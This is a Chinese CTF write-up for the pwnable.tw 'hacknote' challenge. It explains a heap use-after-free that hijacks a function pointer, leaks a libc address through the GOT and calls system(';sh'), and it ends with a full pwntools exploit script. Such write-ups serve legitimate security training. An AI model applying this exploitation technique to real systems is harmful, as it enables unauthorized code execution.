pwnable.tw——hacknote

很少做pwn,之前也只懂点rop,现在跟着练练pwn的堆利用吧,pwnable.tw上的一题hacknote,比较纯粹的uaf题目,还好不久前看了点glibc内存管理的东西,可以派上用场了。

逆向很轻松,那为什么不直接给源码呢。。。根据add_note函数很容易了解note的结构体特征

unsigned int add_node()
{
  note *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !note_list[i] )
      {
        note_list[i] = (note *)malloc(8u);
        if ( !note_list[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        note_list[i]->put_content = (int)note_puts;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = note_list[i];
        v0->content = (int)malloc(size);
        if ( !note_list[i]->content )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, (void *)note_list[i]->content, size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}
struct note{
    void (*pfPutsContent)(),
    char* content
};

由此可以看出,note结构体为8+sizeof(prev_size)+sizeof(size)=16字节,即实际分配的过程中,每个note是被分配一个16字节的chunk。

本题要利用UAF对函数指针进行覆盖,流程大概是这样:

  1. add_note两次,使content分配大于16字节以上的chunk,看起来只要是分配大于8字节,加上prev_size和size和地址对其,就已经是大于16字节了,但这里content size必须大于12。之所以是大于12而非8是因为当前chunk分配成功后处于使用状态,使得next_chunk的prev_size是无效的并可供当前chunk使用。若content size为12,则实际上当前chunk需要12+8=20字节的大小,而最后4字节可由next_chunk的prev_size提供,这叫chunk中的空间复用。所以仅分配16字节大小的chunk即可满足,但我们当然是不想让它和note的chunk相同了。
  2. 依次释放note0,note1,这时大小为16的fastbin的第一个chunk就是note1
  3. add_note一次,content size为8,这时content指向的就是note1,对前4字节进行地址覆盖即可劫持控制流

当然,这个题没有直接提供直接能获取flag的函数,所以要从动态库中找到system函数,先看看.so文件的安全机制

pwnable.tw——hacknote_第1张图片

可以看到开启了地址随机化,所以要根据偏移地址来找system函数了。无论模块在内存中的基址如何变化,模块内函数与函数之间的相对偏移是不会发生变化的,利用这一点就可求得system地址,当然,我们需要程序自动返回某个函数地址的实际地址,这里用read函数吧,类似这样:

add_note('8',p32(puts)+p32(read_got))
print_note('0')
pfread = u32(p.recv()[:4])
pfsys = read_addr - libc.symbols["read"] + libc.symbols["system"]

当然,最终还得再调用一次system。原来的note_puts(arg0)是对puts(arg0+4)的封装,而现在的system(arg0)中arg0并不指向字符串而指向system的地址,所以这里需要system参数截断,才知道可以用";sh\x00"这样的东西。。。好妖啊

delete_note('2')
add_note('8',p32(pfsys)+";sh\x00")
print_note('0')
p.interactive()

完整脚本

from pwn import *

p = remote("chall.pwnable.tw", 10102)
elf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
read_got = elf.got["read"]
pfputs = 0x804862b

def add_note(size,index):
      p.recvuntil("choice :")
      p.sendline("1")
      p.recvuntil("size :")
      p.sendline(size)
      p.recvuntil("Content :")
      p.sendline(index)

def delete_note(index):
      p.recvuntil("choice :")
      p.sendline("2")
      p.recvuntil("Index :")
      p.sendline(index)

def print_note(index):
      p.recvuntil("choice :")
      p.sendline("3")
      p.recvuntil("Index :")
      p.sendline(index)

add_note("16","aaaaa")
add_note("16","aaaaa")
delete_note('0')
delete_note('1')
add_note('8',p32(pfputs)+p32(read_got))
print_note('0')
pfread = u32(p.recv()[:4])
pfsys = pfread - libc.symbols["read"] + libc.symbols["system"]
delete_note('2')
add_note('8',p32(pfsys)+";sh\x00")
print_note('0')
p.interactive()

 

你可能感兴趣的:(CTF)